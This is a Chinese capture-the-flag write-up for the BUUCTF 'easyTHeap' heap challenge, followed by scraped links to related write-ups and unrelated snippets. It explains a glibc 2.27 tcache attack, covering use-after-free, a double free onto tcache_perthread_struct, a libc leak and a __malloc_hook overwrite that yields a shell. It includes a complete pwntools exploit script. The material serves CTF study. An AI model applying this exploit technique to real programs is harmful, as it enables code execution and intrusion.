[V&N2020 公开赛]easyTHeap

附件

步骤:

  1. 例行检查,64位程序,保护全开
  2. 本地试运行一下,看看大概的情况,常见的堆的菜单
  3. 64位ida载入,main函数

    最多只能申请7个chunk,delete只能执行3次
    add()

    add函数只能创建一个chunk,不能读入数据,读入数据需要用到edit函数
    edit()

    show()

    delete()

    这题的libc是2.27,在libc2.26之后的libc版本中加入了新的存储结构tcache,这使得我们利用堆的时候要特别注意libc版本,科学上网在CTFWiKi上看一下有关tcache的介绍,

利用思路:
1) 利用ufa,修改tcache的next指针为tcache_perthread_struct结构体(这个结构体是程序为了存储tcache信息,一开 始就创建出来的结构体,size为0x251)

2)利用double free将chunk分配到tcache_perthread_struct后,修改成员函数的counts大于7,这样当释放tcache_perthread_struct时候将其放入unsorted bin中,获得main_arena地址

3)泄露完libc的地址后,再修改entries的地址,让相应的entries成员指向malloc_hook处,这样就可以挂钩子,从而get shell

由于我没有ubuntu18(我的是16),我不好调试程序,本机libc版本不对,程序直接崩溃了,附上参考wp,这个师傅写的很好

exp:

from pwn import *

context.log_level='debug'
#p=remote('node3.buuoj.cn',29400)
p=process('./vn_pwn_easyTHeap')
libc=ELF('./libc-2.27-64.so')
elf=ELF('./vn_pwn_easyTHeap') def add(size):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(size)) def edit(idx,content):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('idx')
p.sendline(str(idx))
p.recvuntil('content:')
p.sendline(content) def show(idx):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('idx?')
p.sendline(str(idx)) def delete(idx):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('idx?')
p.sendline(str(idx)) execve = 0x4f322
add(0x30)#0
delete(0)
delete(0) show(0)
#gdb.attach(p) tache_chunk=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x250
add(0x50)#1
edit(1,p64(tache_chunk)) add(0x50)#2
add(0x50)#3
edit(3,'a'*0x28) delete(3) show(3) libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0 exc_addr=libc_base+execve
realloc_addr=libc_base+libc.symbols['__libc_realloc']
malloc_hook_addr=libc_base+libc.symbols['__malloc_hook'] #gdb.attach(p) add(0x50)#4
edit(4,'p'*0x48+p64(malloc_hook_addr-0x13)) #gdb.attach(p) add(0x20)
edit(5, '\x00' * (0x13 - 0x8) + p64(exc_addr) + p64(realloc_addr + 8)) gdb.attach(p) add(0x10)
#gdb.attach(p)
p.sendline('1')
#gdb.attach(p) p.interactive()

参考WP:https://blog.csdn.net/qq_43986365/article/details/106585053

[BUUCTF]PWN——[V&N2020 公开赛]easyTHeap的更多相关文章

  1. [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap

    [V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...

  2. [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn

    [V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函 ...

  3. [BUUCTF]PWN——[V&N2020 公开赛]warmup

    [V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...

  4. [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe

    [V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...

  5. [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp

    [V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...

  6. 【pwn】V&N2020 公开赛 simpleHeap

    [pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...

  7. 刷题记录:[V&N2020 公开赛]TimeTravel

    题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...

  8. [V&N2020 公开赛] Web misc部分题解

    0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮 ...

  9. [V&N2020 公开赛]babybabypwn

    写在开头,感谢"影二つ"师傅的指点. 题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节. 在看题目之前,先来学 ...

随机推荐

  1. [cf1392H]ZS Shuffles Cards

    考虑统计每一轮(以抽到小丑为一轮)的贡献,不难发现答案即期望轮数*每轮期望次数 关于期望轮数,当前牌堆里已经在$S$中的卡实际上没有意义,不妨将这一类卡从牌堆中删除 此时,定义$f_{i}$表示$S$ ...

  2. [atAGC013F]Two Faced Cards

    先对$c_{i}$离散到$[0,n]$上,并令$a_{i},b_{i},d_{i},e_{i}$对应到第一个大于等于他的数 考虑若$a_{n+1}$和$b_{n+1}$也已经确定如何做: 有一个$o( ...

  3. [noi1760]SAM

    建立SAM,求出每一个节点最左边的出现位置(即right集合中的最小元素,在树上dfs即可) 枚举左端点i和右端点j(保证j是最小的满足$s[i,j)$不是$s[0,i)$的子串),维护k表示$s[i ...

  4. 微信和QQ这么多群,该如何管理好友关系?

    本文节选自<设计模式就该这样学> 1 中介者模式的应用场景 在现实生活中,中介者的存在是不可缺少的,如果没有了中介者,我们就不能与远方的朋友进行交流.各个同事对象将会相互进行引用,如果每个 ...

  5. AgileConfig-1.5.5 发布 - 支持 JSON 编辑模式

    本次更新加入了2个新的编辑模式:JSON 编辑模式.TEXT 编辑模式.特别是 JSON 编辑模式是大家比较期待的一个功能.因为大家都习惯了 appsettings.json 的配置编辑模式,所以天生 ...

  6. 从零开始学Kotlin第二课

    字符串模板 fun main(args:Array<String>){ //主函数main方法 println(diaryGenerater("天安门")); } // ...

  7. Codeforces 407E - k-d-sequence(单调栈+扫描线+线段树)

    Codeforces 题面传送门 & 洛谷题面传送门 深感自己线段树学得不扎实-- 首先特判掉 \(d=0\) 的情况,显然这种情况下满足条件的区间 \([l,r]\) 中的数必须相同,双针扫 ...

  8. Pysam 处理bam文件

    Pysam可用来处理bam文件 安装: 用 pip 或者 conda即可 使用: Pysam的函数有很多,主要的读取函数有: AlignmentFile:读取BAM/CRAM/SAM文件 Varian ...

  9. javaWeb - 3 — JSP (技术已淘汰)— 更新完毕

    1.jsp 在servlet中说过java中前端到后台有两条路线嘛 后台 <------ ajax.json <--------- 前端 后台 <------ jsp( EL.JST ...

  10. java.sql.SQLException: Cannot create com._51doit.pojo.User: com._51doit.pojo.User Query: select * from user where username = ? and password = ? Parameters: [AA, 123]

    在从数据库中查询数据,并存入javabean中去时,报这个错误 原因:在建立User类去存储信息时没有创建无参构造方法,创建一个无参构造方法即可